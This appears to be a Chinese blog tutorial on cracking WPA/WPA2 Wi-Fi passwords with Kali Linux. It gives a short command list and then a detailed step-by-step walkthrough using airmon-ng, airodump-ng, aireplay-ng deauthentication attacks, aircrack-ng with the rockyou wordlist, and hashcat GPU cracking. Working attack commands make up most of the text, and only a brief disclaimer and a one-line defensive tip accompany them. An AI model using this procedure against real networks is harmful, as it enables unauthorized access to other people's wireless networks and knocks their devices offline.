VMware Workstation下安装Kali Linux https://my.oschina.net/u/735642/blog/811495
Kali Linux使用Aircrack破解wifi密码(wpa/wpa2) http://topspeedsnail.com/kali-linux-crack-wifi-wpa/
利用kali破解wifi密码全过程 http://www.secbox.cn/hacker/wireless/4877.html
Kali Linux中前十名的Wifi攻击工具 http://www.freebuf.com/sectool/75517.html
简洁操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
// 安装 sudo dnf -y install aircrack-ng // 开始 su root airmon-ng airmon-ng start wlp7s0 // 扫描网络, 得到CH和BSSID信息 airodump-ng wlp7s0mon // 显示 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID ...... EC:6C:9F:35:DA:AC -29 6 29 0 11 54e WPA2 CCMP PSK XXXX ...... // 抓取握手包 参数解释: -c指定频道号, 上面的CH字段 –bssid指定路由器bssid -w指定抓取的数据包保存位置 airodump-ng -c 11 --bssid EC:6C:9F:35:DA:AC -w /home/pandy/wifi/ wlp7s0mon BSSID STATION PWR Rate Lost Frames Probe EC:6C:9F:35:DA:AC 3C:77:E6:7B:5E:27 -49 0e- 0e 1 2604 // 强制连接到wifi的设备重新连接路由器, 为了得到握手包, 客户端连接的时候才会发送握手包, 所以想办法强制听到某一个链接 // 参数解释: -0表示发起deauthentication攻击 -a指定无线路由器BSSID -c指定强制断开的设备, 上面图片的STATION字段 aireplay-ng -0 2 -a EC:6C:9F:35:DA:AC -c A4:71:74:66:AF:FA wlp7s0mon // 成功后马上上面的做抓取握手包, 跟上面的命令一模一样 // 直到这个设备重新链接, 出现 WPA handshake: EC:6C:9F:35:DA:AC , 表示成功 airodump-ng -c 6 --bssid EC:6C:9F:35:DA:AC -w /home/pandy/wifi/ wlp7s0mon // 停止监听 airmon-ng stop wlp7s0mon //开始破解密码 参数解释: -a2代表WPA的握手包 -b指定要破解的wifi BSSID。 -w指定字典文件 aircrack-ng -a2 -b EC:6C:9F:35:DA:AC -w /mnt/E/4_开发软件/破解无线/rockyou.txt /home/pandy/wifi/*.cap // 如果能找到就显示: KEY FOUND! [ xxxxxxxxxx ] // 如果字典存在密码, 就一定能找到, 否则只能修改字典了 |
详细如下:
这种攻击需要字典文件,一个好的字典至关重要。我以Kali Linux自带的rockyou字典为例,位于/user/share/wordlists/rockyou.txt.gz。
使用前先解压:下载地址: https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/wordlists/rockyou.txt.gz
1 |
# gzip -d /usr/share/wordlists/rockyou.txt.gz |
注意:破解其他人的wifi密码是“犯罪”,so,don’t;我使用自己的无线路由器演示。
知道了攻击方法,你自然就知道怎么防范了。
1)首先断开连接的wifi。
在终端中执行:
1 |
# airmon-ng |
上面命令列出了支持监控模式的无线网卡。如果没有任何输出,表示无线网卡不支持监控模式。你可以看到我的wlan0支持监控模式。
2)开启无线网卡的监控模式
1 |
# airmon-ng start wlan0 |
执行成功之后网卡接口变为wlan0mon;可以使用ifconfig命令查看。
3)查看wifi网络
1 |
# airodump-ng wlan0mon |
上面列出了周围的wifi和它们的详细信息,包括信号强度、加密类型、频道等。要记住要破解wifi的频道号和BSSID。
按Ctrl-C结束。
4)抓取握手包
使用网卡的监听模式抓取周围的无线网络数据包。其中,对我们最重要的数据包是:包含密码的包-也叫握手包。当有新用户或断开用户自动连接wifi时,会发送握手包。
开始抓包:
1 |
# airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 -w ~/ wlan0mon |
参数解释:
- -c指定频道号
- –bssid指定路由器bssid
- -w指定抓取的数据包保存位置
5)强制连接到wifi的设备重新连接路由器
现在我们只要等用户连接/重连接wifi了,运气不好也许要很长时间。
但是我们是不会等的,这不是耐心黑客该干的事。有一个叫aireplay-ng的工具,它可以强制用户断开wifi连接;原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。
aireplay-ng的生效前提是,wifi网络中至少有一个连接的设备。从上图(4)可以看到哪些设备连接到了wifi,STATION就是连接设备的MAC地址,记住一个。
打开新终端执行:
1 |
# aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon |
参数解释:
- -0表示发起deauthentication攻击
- -a指定无线路由器BSSID
- -c指定强制断开的设备, 上面图片的STATION字段
然后马上执行上面的抓包命令
如果成功:
按Ctrl-C结束抓包。
我们已经得到了想要的握手包了,可以结束无线网卡的监控模式了:
1 |
# airmon-ng stop wlan0mon |
6) 开始破解密码
1 |
# aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap |
参数解释:
- -a2代表WPA的握手包
- -b指定要破解的wifi BSSID。
- -w指定字典文件
- 最后是抓取的包
可选)使用显卡的运算能力
如果你有一个强大的GPU,为什么不使用GPU跑字典呢?
Hashcat可以借助GPU的运算力破解各种不同算法的hash值。
下载时要注意选择正确的显卡类型(AMD、NVidia)。Kali Linux自带这个工具。
在破解cap文件之前,要把它转换为hccap文件:
1 |
# aircrack-ng file.cap -J out.hccap |
使用GPU破解hash:
1 |
# hashcat -m 2500 out.hccap 字典文件 |
总结:防止这种攻击最简单的方法是设置贼复杂贼长的密码;